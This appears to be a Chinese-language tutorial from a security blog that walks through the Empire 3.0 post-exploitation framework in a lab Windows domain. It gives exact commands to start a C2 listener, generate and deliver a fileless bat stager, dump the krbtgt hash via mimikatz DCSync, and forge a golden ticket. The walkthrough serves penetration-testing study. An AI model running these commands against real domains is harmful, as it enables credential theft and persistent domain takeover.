經(jīng)歷漫長(zhǎng)的等待后,后滲透測(cè)試神器 Empire 終于迎來(lái)了多項(xiàng)重大功能升級(jí)的 3.0 版本(https://github.com/BC-SECURITY/Empire/)。
Empire 是一款類似 Metasploit 的 PowerShell 可視化后期滲透測(cè)試框架,建立在密碼安全通信和靈活的架構(gòu)上。Empire 實(shí)現(xiàn)了無(wú)需 powershell.exe 就可運(yùn)行 PowerShell 代理的功能,可快速部署后期漏洞利用模塊,從鍵盤記錄器到 Mimikatz,并且能夠適應(yīng)通信躲避網(wǎng)絡(luò)檢測(cè),所有的這些功能都封裝在一個(gè)以實(shí)用性為重點(diǎn)的框架中
具體更新內(nèi)容見(jiàn)[鏈接](https://www.aqniu.com/industry/60507.html
,其中最令人激動(dòng)的是mimikatz 2.2.0 也被集成到其中,讓mimikatz在windows 10上運(yùn)行成為可能,接下來(lái)我們通過(guò)實(shí)驗(yàn)驗(yàn)證一下使用Empire在windows域環(huán)境下獲取黃金票據(jù)的過(guò)程
0x01 環(huán)境準(zhǔn)備
- 已加域的Windows 10 (1903)
- 一臺(tái)Linux服務(wù)器(已安裝Docker)
為了簡(jiǎn)化環(huán)境準(zhǔn)備,我們直接使用Empire的docker版本
0x02 Empire部署
- Empire 部署很簡(jiǎn)單,你可以在kali Linux上執(zhí)行以下命令完成本地部署
git clone https://github.com/BC-SECURITY/Empire.git
cd Empire
sudo ./setup/install.sh
- 也可以基于Docker的部署,這種方式非常簡(jiǎn)單,在已經(jīng)安裝好Docker的Linux環(huán)境下執(zhí)行以下命令即可
docker run -it --rm --network=host bcsecurity/empire
這里我們直接把宿主機(jī)的網(wǎng)絡(luò)映射給容器

0x03 啟動(dòng)監(jiān)聽(tīng)
接下來(lái)要啟動(dòng)一個(gè)監(jiān)聽(tīng)端口,用來(lái)接收C2連接

- 執(zhí)行
listeners查看監(jiān)聽(tīng),當(dāng)前沒(méi)有活躍的監(jiān)聽(tīng) - 執(zhí)行
uselistener http準(zhǔn)備開(kāi)啟一個(gè)http的監(jiān)聽(tīng)端口 - 執(zhí)行
info命令可以查看模塊的參數(shù)列表,這里我們需要設(shè)置端口 - 執(zhí)行
set Port 9090配置監(jiān)聽(tīng)9090端口 - 執(zhí)行
execute
list listeners.png
0x04 投遞Playload
我們需要制作一個(gè)payload并投遞到受害者的機(jī)器上,目標(biāo)機(jī)器運(yùn)行payload會(huì)主動(dòng)連接到我們的C2監(jiān)聽(tīng)端口。Empire的usestager命令可以生成對(duì)應(yīng)平臺(tái)的payload,輸入usestager空格然后敲兩下tab鍵可以帶出所有支撐的腳本類型,這里我們生成一個(gè)windows bat格式的payload,如下圖

執(zhí)行完
execute會(huì)看到目標(biāo)腳本的保存位置,payload是一個(gè)加密的bat的腳本,只有在執(zhí)行的時(shí)候會(huì)將解密的內(nèi)容寫入內(nèi)存,也屬于一種無(wú)文件的payload。
將生成的payload文件投遞到目標(biāo)主機(jī),為了簡(jiǎn)化后面的步驟我們直接在目標(biāo)windows10靶機(jī)上用管理員賬號(hào)登錄運(yùn)行該腳本,而實(shí)戰(zhàn)過(guò)程中就要各顯神通了。。。

目標(biāo)主機(jī)執(zhí)行bat腳本以后,C2服務(wù)器會(huì)有相應(yīng)的提示,執(zhí)行
agents可以查看session信息
0x05 爆破
進(jìn)入session
因?yàn)榍懊嬉呀?jīng)假設(shè)說(shuō)我們執(zhí)行payload的賬號(hào)有管理員權(quán)限,所以這里就直接沖著DCSync去了,執(zhí)行interact命令并且輸入前面的session名,開(kāi)啟交互模式,rename可以修改session名

獲取sid
執(zhí)行以下命令調(diào)查詢sid
(Empire: test) > usemodule management/user_to_sid
(Empire: powershell/management/user_to_sid) > set Domain cnb
(Empire: powershell/management/user_to_sid) > set User krbtgt
(Empire: powershell/management/user_to_sid) > execute

使用
usemodule加載模塊以后,可以使用info命令查看參數(shù)列表
獲取krbtgt
執(zhí)行以下命令獲取krbtgt
(Empire: N5H34DLF) > usemodule credentials/mimikatz/dcsync
(Empire: powershell/credentials/mimikatz/dcsync) > set user cnb\krbtgt
(Empire: powershell/credentials/mimikatz/dcsync) > set domain cnb.xx.com
(Empire: powershell/credentials/mimikatz/dcsync) > execute

獲取golden ticket
從上面的結(jié)果可以看到krbtgt的信息包括sid和ntlm,根據(jù)上述信息可調(diào)用golden_ticket模塊可以組裝黃金票據(jù)
(Empire: N5H34DLF) > usemodule credentials/mimikatz/golden_ticket
(Empire: powershell/credentials/mimikatz/golden_ticket) > set user admin
(Empire: powershell/credentials/mimikatz/golden_ticket) > set sids S-1-5-21-1045149118-3891864444-2112197780
(Empire: powershell/credentials/mimikatz/golden_ticket) > set krbtgt cfabde9c8ee99d865fbab6028ed6bbe8
(Empire: powershell/credentials/mimikatz/golden_ticket) > execute

可以看到黃金票據(jù)已經(jīng)構(gòu)建出來(lái)了。
Empire 本身是一個(gè)非常強(qiáng)大的滲透測(cè)試框架,里面集成的模塊還有很多,具體可以查看官方的說(shuō)明文檔。另外,在測(cè)試過(guò)程中,筆者也發(fā)現(xiàn),似乎這里的C2連接也不是很穩(wěn)定,經(jīng)常出現(xiàn)執(zhí)行一個(gè)模塊導(dǎo)致連接直接斷掉。。
